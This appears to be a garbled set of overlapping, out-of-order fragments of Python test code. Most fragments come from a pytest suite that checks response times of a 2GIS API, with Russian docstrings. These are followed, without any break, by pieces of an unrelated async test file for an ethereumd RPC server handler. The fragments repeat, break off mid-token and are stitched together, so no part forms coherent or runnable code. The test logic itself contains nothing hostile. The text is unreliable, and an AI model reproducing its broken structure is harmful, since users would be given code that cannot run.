test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The", "def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при валидных", "при фильтрации по коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\":", "запросах :param setup_option: Установочные параметры :type setup_option: dict :param json_params:", "Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.5", "Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.2 assert check, f\"\"\"Время", "{api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds()", "<EMAIL> :status: Development \"\"\" import pytest import allure from tools.api_responses", "параметры :type setup_option: dict :param json_params: Параметры GET запроса :type", "test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при валидных запросах", "Test\" :license: MIT :version: 1.0.0 :maintainer: <NAME> :email: <EMAIL> :status:", ":version: 1.0.0 :maintainer: <NAME> :email: <EMAIL> :status: Development \"\"\" import", "= api_response.elapsed.total_seconds() <= 0.5 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше", "from tools.api_responses import get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование время", "test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при невалидных запросах", "\"page_size\": 5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время", "API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время ответа при нечётком", "Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.5 assert check, f\"\"\"Время", "при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5}, {\"country_code\": \"ru\",", "по коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\":", "testing_message = (f\" EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\" Headers:", "The 2GIS API Test Check time get headers :author: <NAME>", "-*- \"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API Test Check time", "import pytest import allure from tools.api_responses import get_response @allure.epic(\"Поизитивные тесты", ":license: MIT :version: 1.0.0 :maintainer: <NAME> :email: <EMAIL> :status: Development", "валидных запросах :param setup_option: Установочные параметры :type setup_option: dict :param", "@allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время ответа", "\"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API Test Check time get", "json_params: Параметры GET запроса :type json_params: dict :return: \"\"\" api_url", "время ответа при нечётком поиске, при фильтрации по коду страны,", "Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check =", "f\" Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check", "API Test\" :license: MIT :version: 1.0.0 :maintainer: <NAME> :email: <EMAIL>", "Development \"\"\" import pytest import allure from tools.api_responses import get_response", "<NAME> :copyright: Copyright 2019, The2GIS API Test\" :license: MIT :version:", "\"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при", "при нечётком поиске, при фильтрации по коду страны, при постраничной", "= json_params api_response = get_response(api_url, request_params) testing_message = (f\" EndPoint:", "check = api_response.elapsed.total_seconds() <= 0.2 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()}", "check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок", "= setup_option['site_url'] request_params = json_params api_response = get_response(api_url, request_params) testing_message", "2}, {\"country_code\": \"tz\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОР\"}]) def", "время ответов сервера при валидных запросах :param setup_option: Установочные параметры", "testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время", "get_response(api_url, request_params) testing_message = (f\" EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\"", "ответов\") @allure.title(\"Проверка время ответа при нечётком поиске, при фильтрации по", "{api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\")", "{api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.5 assert", "\"tz\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params):", "{api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное", "Установочные параметры :type setup_option: dict :param json_params: Параметры GET запроса", "нечётком поиске, при фильтрации по коду страны, при постраничной разбивке\")", "assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" + testing_message", "коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2},", "pytest import allure from tools.api_responses import get_response @allure.epic(\"Поизитивные тесты API\")", "5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время ответов", "больше 0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование", "0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование время", "MIT :version: 1.0.0 :maintainer: <NAME> :email: <EMAIL> :status: Development \"\"\"", "@allure.title(\"Проверка время ответа при нечётком поиске, при фильтрации по коду", "f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты", "+ testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка", "API Test Check time get headers :author: <NAME> :copyright: Copyright", "страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2}, {\"country_code\":", ":return: \"\"\" api_url = setup_option['site_url'] request_params = json_params api_response =", "@allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время ответа", "api_response.elapsed.total_seconds() <= 0.5 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.5", "2019, The2GIS API Test\" :license: MIT :version: 1.0.0 :maintainer: <NAME>", "время ответов\") @allure.title(\"Проверка время ответа при нечётком поиске, при фильтрации", "разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5}, {\"country_code\": \"ru\", \"page\": 1,", "dict :param json_params: Параметры GET запроса :type json_params: dict :return:", "\"page\": 1, \"page_size\": 5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\"", "test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS API Test Check time get headers", "0.5 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.5 сек\\r\\n\"\"\" +", "tools.api_responses import get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование время ответов\")", "при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2}, {\"country_code\": \"tz\",", "{\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера", "api_url = setup_option['site_url'] request_params = json_params api_response = get_response(api_url, request_params)", "json_params): \"\"\" Проверяем время ответов сервера при невалидных запросах :param", "постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5}, {\"country_code\": \"ru\", \"page\":", "Copyright 2019, The2GIS API Test\" :license: MIT :version: 1.0.0 :maintainer:", "Параметры GET запроса :type json_params: dict :return: \"\"\" api_url =", "GET запроса :type json_params: dict :return: \"\"\" api_url = setup_option['site_url']", "api_response = get_response(api_url, request_params) testing_message = (f\" EndPoint: {api_response.url}\\n\" f\"", "The2GIS API Test\" :license: MIT :version: 1.0.0 :maintainer: <NAME> :email:", "<= 0.2 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\"", "1, \"page_size\": 5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем", ":type setup_option: dict :param json_params: Параметры GET запроса :type json_params:", "сек\\r\\n\"\"\" + testing_message @allure.epic(\"Смок тесты API\") @allure.suite(\"Позитивное тестирование время ответов\")", "1, \"page_size\": 5}, {\"country_code\": \"ru\", \"page\": 1, \"page_size\": 5}, {\"q\":", "import allure from tools.api_responses import get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное", ":copyright: Copyright 2019, The2GIS API Test\" :license: MIT :version: 1.0.0", "get headers :author: <NAME> :copyright: Copyright 2019, The2GIS API Test\"", "setup_option: Установочные параметры :type setup_option: dict :param json_params: Параметры GET", "\"\"\" Проверяем время ответов сервера при валидных запросах :param setup_option:", "{\"country_code\": \"tz\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option,", "{\"country_code\": \"ru\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option,", "\"page_size\": 5}, {\"country_code\": \"ru\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОРСК\"}])", "Test Check time get headers :author: <NAME> :copyright: Copyright 2019,", "= get_response(api_url, request_params) testing_message = (f\" EndPoint: {api_response.url}\\n\" f\" Status:", "request_params) testing_message = (f\" EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\"", "2GIS API Test Check time get headers :author: <NAME> :copyright:", "time get headers :author: <NAME> :copyright: Copyright 2019, The2GIS API", "при валидных запросах :param setup_option: Установочные параметры :type setup_option: dict", "setup_option['site_url'] request_params = json_params api_response = get_response(api_url, request_params) testing_message =", "{api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.2 assert", "разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2}, {\"country_code\": \"tz\", \"page\": 1,", "[{\"page\": 1, \"page_size\": 2}, {\"country_code\": \"tz\", \"page\": 1, \"page_size\": 5},", "ответов сервера при валидных запросах :param setup_option: Установочные параметры :type", "def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера при невалидных", ":param json_params: Параметры GET запроса :type json_params: dict :return: \"\"\"", ":email: <EMAIL> :status: Development \"\"\" import pytest import allure from", "f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.2 assert check,", "фильтрации по коду страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1,", "Проверяем время ответов сервера при валидных запросах :param setup_option: Установочные", "{\"q\": \"ОР\"}]) def test_01_time_response_for_invalid_request(setup_option, json_params): \"\"\" Проверяем время ответов сервера", "json_params): \"\"\" Проверяем время ответов сервера при валидных запросах :param", "json_params api_response = get_response(api_url, request_params) testing_message = (f\" EndPoint: {api_response.url}\\n\"", "\"\"\" import pytest import allure from tools.api_responses import get_response @allure.epic(\"Поизитивные", "0.2 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.2 сек\\r\\n\"\"\" +", "1, \"page_size\": 2}, {\"country_code\": \"tz\", \"page\": 1, \"page_size\": 5}, {\"q\":", "при невалидных запросах :param setup_option: Установочные параметры :type setup_option: dict", "невалидных запросах :param setup_option: Установочные параметры :type setup_option: dict :param", ":maintainer: <NAME> :email: <EMAIL> :status: Development \"\"\" import pytest import", "5}, {\"q\": \"ОРСК\"}]) def test_01_time_response_for_valid_request(setup_option, json_params): \"\"\" Проверяем время ответов", "~~~~~~~~~~~~~~ The 2GIS API Test Check time get headers :author:", "\"\"\" api_url = setup_option['site_url'] request_params = json_params api_response = get_response(api_url,", "get_response @allure.epic(\"Поизитивные тесты API\") @allure.suite(\"Позитивное тестирование время ответов\") @allure.title(\"Проверка время", "запроса :type json_params: dict :return: \"\"\" api_url = setup_option['site_url'] request_params", "постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 2}, {\"country_code\": \"tz\", \"page\":", "Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.2", "ответов сервера при невалидных запросах :param setup_option: Установочные параметры :type", "f\" Headers: {api_response.headers}\\n\" f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <=", "страны, при постраничной разбивке\") @pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5}, {\"country_code\":", ":status: Development \"\"\" import pytest import allure from tools.api_responses import", "\"page_size\": 2}, {\"country_code\": \"tz\", \"page\": 1, \"page_size\": 5}, {\"q\": \"ОР\"}])", "EndPoint: {api_response.url}\\n\" f\" Status: {api_response.status_code}\\n\" f\" Headers: {api_response.headers}\\n\" f\" Content:", "<= 0.5 assert check, f\"\"\"Время ответа {api_response.elapsed.total_seconds()} больше 0.5 сек\\r\\n\"\"\"", "Check time get headers :author: <NAME> :copyright: Copyright 2019, The2GIS", "время ответов сервера при невалидных запросах :param setup_option: Установочные параметры", "@pytest.mark.parametrize(\"json_params\", [{\"page\": 1, \"page_size\": 5}, {\"country_code\": \"ru\", \"page\": 1, \"page_size\":", "# -*- coding: utf-8 -*- \"\"\" test_01_accept_time_get_headers ~~~~~~~~~~~~~~ The 2GIS", "f\" Content: {api_response.content}\") check = api_response.elapsed.total_seconds() <= 0.5 assert check," ]
[ "values\"\"\" from h2oaicore.transformer_utils import CustomTransformer import datatable as dt import", "string length of categorical values\"\"\" from h2oaicore.transformer_utils import CustomTransformer import", "categorical values\"\"\" from h2oaicore.transformer_utils import CustomTransformer import datatable as dt", "class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1)", "get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame,", "return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y:", "length of categorical values\"\"\" from h2oaicore.transformer_utils import CustomTransformer import datatable", "def get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X:", "y: np.array = None): return self.transform(X) def transform(self, X: dt.Frame):", "import datatable as dt import numpy as np class MyStrLenEncoderTransformer(CustomTransformer):", "of categorical values\"\"\" from h2oaicore.transformer_utils import CustomTransformer import datatable as", "np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1,", "dt.Frame, y: np.array = None): return self.transform(X) def transform(self, X:", "fit_transform(self, X: dt.Frame, y: np.array = None): return self.transform(X) def", "h2oaicore.transformer_utils import CustomTransformer import datatable as dt import numpy as", "datatable as dt import numpy as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod", "MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def", "min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array =", "<gh_stars>0 \"\"\"Returns the string length of categorical values\"\"\" from h2oaicore.transformer_utils", "from h2oaicore.transformer_utils import CustomTransformer import datatable as dt import numpy", "\"\"\"Returns the string length of categorical values\"\"\" from h2oaicore.transformer_utils import", "the string length of categorical values\"\"\" from h2oaicore.transformer_utils import CustomTransformer", "def fit_transform(self, X: dt.Frame, y: np.array = None): return self.transform(X)", "import numpy as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return", "as dt import numpy as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def", "@staticmethod def get_default_properties(): return dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self,", "relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None): return", "import CustomTransformer import datatable as dt import numpy as np", "max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array = None):", "X: dt.Frame, y: np.array = None): return self.transform(X) def transform(self,", "dict(col_type=\"any\", min_cols=1, max_cols=1, relative_importance=1) def fit_transform(self, X: dt.Frame, y: np.array", "dt import numpy as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties():", "CustomTransformer import datatable as dt import numpy as np class", "np.array = None): return self.transform(X) def transform(self, X: dt.Frame): return", "= None): return self.transform(X) def transform(self, X: dt.Frame): return X.to_pandas().astype(str).iloc[:,", "None): return self.transform(X) def transform(self, X: dt.Frame): return X.to_pandas().astype(str).iloc[:, 0].str.len()", "as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type=\"any\", min_cols=1,", "numpy as np class MyStrLenEncoderTransformer(CustomTransformer): @staticmethod def get_default_properties(): return dict(col_type=\"any\"," ]
[ "\"\"\" Subpackage containing EOTasks for geometrical transformations \"\"\" from .utilities", "from .utilities import ErosionTask, VectorToRaster, RasterToVector from .sampling import PointSamplingTask,", "RasterToVector from .sampling import PointSamplingTask, PointSampler, PointRasterSampler __version__ = '0.4.2'", "\"\"\" from .utilities import ErosionTask, VectorToRaster, RasterToVector from .sampling import", "VectorToRaster, RasterToVector from .sampling import PointSamplingTask, PointSampler, PointRasterSampler __version__ =", "ErosionTask, VectorToRaster, RasterToVector from .sampling import PointSamplingTask, PointSampler, PointRasterSampler __version__", ".utilities import ErosionTask, VectorToRaster, RasterToVector from .sampling import PointSamplingTask, PointSampler,", "<filename>geometry/eolearn/geometry/__init__.py \"\"\" Subpackage containing EOTasks for geometrical transformations \"\"\" from", "containing EOTasks for geometrical transformations \"\"\" from .utilities import ErosionTask,", "Subpackage containing EOTasks for geometrical transformations \"\"\" from .utilities import", "geometrical transformations \"\"\" from .utilities import ErosionTask, VectorToRaster, RasterToVector from", "for geometrical transformations \"\"\" from .utilities import ErosionTask, VectorToRaster, RasterToVector", "EOTasks for geometrical transformations \"\"\" from .utilities import ErosionTask, VectorToRaster,", "transformations \"\"\" from .utilities import ErosionTask, VectorToRaster, RasterToVector from .sampling", "import ErosionTask, VectorToRaster, RasterToVector from .sampling import PointSamplingTask, PointSampler, PointRasterSampler" ]
[ "models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return self.username def", "['username', 'first_name', 'last_name'] is_student = models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios'", "ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True,", "models from django.contrib.auth.models import AbstractUser # Utilities from .utils import", "'first_name', 'last_name'] is_student = models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def", "import models from django.contrib.auth.models import AbstractUser # Utilities from .utils", "class User(ApiModel, AbstractUser): email = models.EmailField( 'email', unique = True,", "= models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta: verbose_name = 'Usuario -", "Perfil' verbose_name_plural = 'Usuarios - Perfiles' def __str__(self): return str(self.user)", "# Django from django.db import models from django.contrib.auth.models import AbstractUser", "= 'email' REQUIRED_FIELDS = ['username', 'first_name', 'last_name'] is_student = models.BooleanField(default=False)", "= ['username', 'first_name', 'last_name'] is_student = models.BooleanField(default=False) class Meta: verbose_name='Usuario'", "approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test',", "email = models.EmailField( 'email', unique = True, ) USERNAME_FIELD =", "'last_name'] is_student = models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self):", ") USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['username', 'first_name', 'last_name'] is_student", "self.username def get_short_name(self): return self.username class ProfileUser(ApiModel): user = models.OneToOneField(User,", "# Utilities from .utils import ApiModel class User(ApiModel, AbstractUser): email", "verbose_name = 'Usuario - Perfil' verbose_name_plural = 'Usuarios - Perfiles'", "Meta: verbose_name = 'Usuario - Perfil' verbose_name_plural = 'Usuarios -", "def get_short_name(self): return self.username class ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE)", "Django from django.db import models from django.contrib.auth.models import AbstractUser #", "from .utils import ApiModel class User(ApiModel, AbstractUser): email = models.EmailField(", "- Perfil' verbose_name_plural = 'Usuarios - Perfiles' def __str__(self): return", "models.EmailField( 'email', unique = True, ) USERNAME_FIELD = 'email' REQUIRED_FIELDS", "'Usuario - Perfil' verbose_name_plural = 'Usuarios - Perfiles' def __str__(self):", "Utilities from .utils import ApiModel class User(ApiModel, AbstractUser): email =", "USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['username', 'first_name', 'last_name'] is_student =", "= models.EmailField( 'email', unique = True, ) USERNAME_FIELD = 'email'", "\"\"\"User Model.\"\"\" # Django from django.db import models from django.contrib.auth.models", "is_student = models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return", "class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return self.username def get_short_name(self):", "REQUIRED_FIELDS = ['username', 'first_name', 'last_name'] is_student = models.BooleanField(default=False) class Meta:", "models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed =", "tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta: verbose_name = 'Usuario", "<reponame>felipebarraza6/startup_comedy \"\"\"User Model.\"\"\" # Django from django.db import models from", "from django.db import models from django.contrib.auth.models import AbstractUser # Utilities", "blank=True) class Meta: verbose_name = 'Usuario - Perfil' verbose_name_plural =", "= True, ) USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['username', 'first_name',", "user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True)", "unique = True, ) USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['username',", "verbose_name_plural='Usuarios' def __str__(self): return self.username def get_short_name(self): return self.username class", "Model.\"\"\" # Django from django.db import models from django.contrib.auth.models import", ".utils import ApiModel class User(ApiModel, AbstractUser): email = models.EmailField( 'email',", "import AbstractUser # Utilities from .utils import ApiModel class User(ApiModel,", "class ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses',", "= models.BooleanField(default=False) class Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return self.username", "django.db import models from django.contrib.auth.models import AbstractUser # Utilities from", "from django.contrib.auth.models import AbstractUser # Utilities from .utils import ApiModel", "get_short_name(self): return self.username class ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses", "models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class", "return self.username class ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses =", "True, ) USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['username', 'first_name', 'last_name']", "'email' REQUIRED_FIELDS = ['username', 'first_name', 'last_name'] is_student = models.BooleanField(default=False) class", "ApiModel class User(ApiModel, AbstractUser): email = models.EmailField( 'email', unique =", "'email', unique = True, ) USERNAME_FIELD = 'email' REQUIRED_FIELDS =", "User(ApiModel, AbstractUser): email = models.EmailField( 'email', unique = True, )", "related_name='user_result_test', blank=True) class Meta: verbose_name = 'Usuario - Perfil' verbose_name_plural", "null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta: verbose_name =", "def __str__(self): return self.username def get_short_name(self): return self.username class ProfileUser(ApiModel):", "= 'Usuario - Perfil' verbose_name_plural = 'Usuarios - Perfiles' def", "= models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed", "AbstractUser # Utilities from .utils import ApiModel class User(ApiModel, AbstractUser):", "__str__(self): return self.username def get_short_name(self): return self.username class ProfileUser(ApiModel): user", "verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return self.username def get_short_name(self): return self.username", "models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta: verbose_name = 'Usuario - Perfil'", "django.contrib.auth.models import AbstractUser # Utilities from .utils import ApiModel class", "AbstractUser): email = models.EmailField( 'email', unique = True, ) USERNAME_FIELD", "import ApiModel class User(ApiModel, AbstractUser): email = models.EmailField( 'email', unique", "Meta: verbose_name='Usuario' verbose_name_plural='Usuarios' def __str__(self): return self.username def get_short_name(self): return", "= models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True)", "return self.username def get_short_name(self): return self.username class ProfileUser(ApiModel): user =", "blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta: verbose_name", "class Meta: verbose_name = 'Usuario - Perfil' verbose_name_plural = 'Usuarios", "related_name='user_aproved_courses', blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest', related_name='user_result_test', blank=True) class Meta:", "on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest', related_name='user_aproved_courses', blank=True, null=True) tests_performed = models.ManyToManyField('api.ResultTest',", "self.username class ProfileUser(ApiModel): user = models.OneToOneField(User, on_delete=models.CASCADE) approved_courses = models.ManyToManyField('api.ResultContest'," ]
[ "TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request) parsed", "assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop): server", "_raise_error(): raise AttributeError('bla bla method not found') with patch.object(EthereumProxy, 'getblockcount',", "is None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop): server = await", "async def test_server_handler_index_invalid_rpc_data(self, event_loop): server = await self.init_server(event_loop) data =", "'id': 'test', } request = Request(json=data) def _raise_error(): raise AttributeError('bla", "from .base import BaseTestRunner Request = namedtuple('Request', ['json']) class TestServer(BaseTestRunner):", "Request(json=data) def _raise_error(): raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error):", "await self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'params':", "server.before_server_start()(None, loop) return server @pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop): server", "patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return server @pytest.mark.asyncio async def test_server_handler_index_success_call(self,", "-32602 assert parsed['error']['message'] == 'Invalid rpc 2.0 structure' assert parsed['result']", "await self.init_server(event_loop) data = { 'jsonrpc': '2.0', 'method': 'getblockcount', 'id':", "collections import namedtuple import json from asynctest.mock import patch import", "} request = Request(json=data) def _raise_error(): raise TypeError('test') with patch.object(EthereumProxy,", "request = Request(json=data) response = await server.handler_index(request) parsed = json.loads(response.body)", "= await server.handler_index(request) parsed = json.loads(response.body) assert parsed['error'] is None", "None assert isinstance(parsed['result'], int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop): server", "not found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response = await server.handler_index(request)", "-1 assert parsed['error']['message'] == 'test' assert parsed['result'] is None @pytest.mark.asyncio", "class TestServer(BaseTestRunner): run_with_node = True async def init_server(self, loop): server", "server @pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop): server = await self.init_server(event_loop)", "loop): server = RPCServer() with patch('ethereumd.poller.Poller.poll'): await server.before_server_start()(None, loop) return", "request = Request(json=data) def _raise_error(): raise BadResponseError('test', code=-99999999) with patch.object(EthereumProxy,", "asynctest.mock import patch import pytest from ethereumd.server import RPCServer from", "ethereumd.server import RPCServer from ethereumd.proxy import EthereumProxy from aioethereum.errors import", "isinstance(parsed['result'], int) @pytest.mark.asyncio async def test_server_handler_index_invalid_rpc_data(self, event_loop): server = await", "Request(json=data) def _raise_error(): raise TypeError('test') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error): response", "assert parsed['error']['message'] == 'test' assert parsed['result'] is None @pytest.mark.asyncio async", "'test' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_bad_response_call(self, event_loop):", "return server @pytest.mark.asyncio async def test_server_handler_index_success_call(self, event_loop): server = await", "raise AttributeError('bla bla method not found') with patch.object(EthereumProxy, 'getblockcount', side_effect=_raise_error):", "assert parsed['error']['code'] == -32601 assert parsed['error']['message'] == 'Method not found'", "['json']) class TestServer(BaseTestRunner): run_with_node = True async def init_server(self, loop):", "2.0 structure' assert parsed['result'] is None @pytest.mark.asyncio async def test_server_handler_index_attr_error_call(self,", "'test', } request = Request(json=data) def _raise_error(): raise TypeError('test') with", "'Method not found' assert parsed['result'] is None @pytest.mark.asyncio async def", "'getblockcount', 'params': [], 